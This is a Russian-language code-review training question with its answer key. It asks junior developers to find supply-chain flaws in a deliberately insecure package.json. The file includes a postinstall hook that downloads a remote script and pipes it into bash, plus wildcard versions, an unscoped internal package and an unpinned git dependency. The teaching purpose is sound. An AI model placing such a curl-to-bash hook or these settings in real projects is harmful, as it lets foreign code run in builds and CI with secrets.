Код-ревью Junior Зависимости и supply chain обновлено
Ревью: package.json сервиса
Вопрос
Найдите проблемы, связанные с безопасностью зависимостей.
{
"name": "billing-service",
"scripts": {
"postinstall": "curl -s https://get.tools.example/setup.sh | bash",
"start": "node index.js"
},
"dependencies": {
"express": "*",
"lodash": "latest",
"acme-internal-utils": "^1.2.0",
"pdf-maker": "git+https://github.com/someone/pdf-maker.git"
}
}
Коротко
Каждая строка открывает путь для чужого кода в сборку. Правильно: точные диапазоны с lock-файлом, scope для внутренних пакетов, никаких curl bash в установке.
Что должен найти ревьюер
- Безопасностьстрока 4Скрипт установки скачивает и выполняет код из интернета при каждом
npm install, в том числе в CI с секретами. - Безопасностьстрока 8
*ставит любую версию, включая новую мажорную или вредоносную. Нужен диапазон и lock-файл. - Безопасностьстрока 9
latestдаёт невоспроизводимые сборки и автоматически тянет любую новую публикацию. - Безопасностьстрока 10Внутренний пакет без scope: риск dependency confusion через публичный реестр. Нужно
@acme/internal-utilsи привязка scope к внутреннему реестру. - Безопасностьстрока 11Зависимость из чужого git-репозитория без закрепления коммита: код может поменяться в любой момент, SCA его плохо видит.
Разбор
Каждая строка открывает путь для чужого кода в сборку. Правильно: точные диапазоны с lock-файлом, scope для внутренних пакетов, никаких curl | bash в установке.
Ответьте сами, а не прочитайте
В тренажёре вопрос попадёт в повторения и вернётся, когда начнёт забываться. Плюс билеты с зачётом: 20 вопросов, не больше 2 ошибок.